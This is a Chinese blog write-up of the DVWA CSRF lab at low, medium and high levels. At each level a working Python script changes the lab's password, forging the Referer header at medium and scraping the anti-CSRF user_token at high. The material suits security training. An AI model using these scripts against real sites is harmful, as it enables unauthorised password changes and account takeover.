DVWA - CSRF (low, medium, high)

最新推荐文章于 2024-10-31 13:28:40 发布

原创最新推荐文章于 2024-10-31 13:28:40 发布 · 3.7k 阅读

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本文通过实例演示了如何针对不同安全级别的CSRF漏洞进行攻击，包括设置PHPSESSID和security参数进行基本攻击、通过Referer验证提高攻击难度及动态获取user_token实现高级攻击。

该文章已生成可运行项目，

low

设置一下cookie的PHPSESSID和security即可跨站请求

import requests

def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=low',
    }
    new_password = 'ac'
    url = '%s?password_new=%s&password_conf=%s&Change=Change' % (url, new_password, new_password)
    res = requests.get(url, headers=headers)
    if 'Password Changed.' in res.content:
        print('Yes')
    else:
        print('No')


if __name__ == '__main__':
    main()

medium

查看源码，发现

// Checks to see where the request came from 
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )

根据Referer验证请求来源，绕过思路：在HTTP请求头声明Referer。

import requests


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=medium',
        'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'
    }
    new_password = 'ac'
    url = '%s?password_new=%s&password_conf=%s&Change=Change' % (url, new_password, new_password)
    res = requests.get(url, headers=headers)
    if 'Password Changed.' in res.content:
        print('Yes')
    else:
        print('No')


if __name__ == '__main__':
    main()

high

查看源码，发现多了动态user_token验证

// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

绕过思路：在代码层面发跨站请求动态获取user_token，再发跨站请求修改密码。

import requests
import re


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=high',
        'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'       
    }
    res = requests.get(url, headers=headers)
    m = re.search(r"user_token' value='(.*?)'", res.content, re.M | re.S)
    if m:
        user_token = m.group(1)
        new_password = 'ac'
        url = '%s?password_new=%s&password_conf=%s&user_token=%s&Change=Change' % (url, new_password, new_password, user_token)
        res = requests.get(url, headers=headers)
        if 'Password Changed.' in res.content:
            print('Yes')
        else:
            print('No')
            print(res.content)


if __name__ == '__main__':
    main()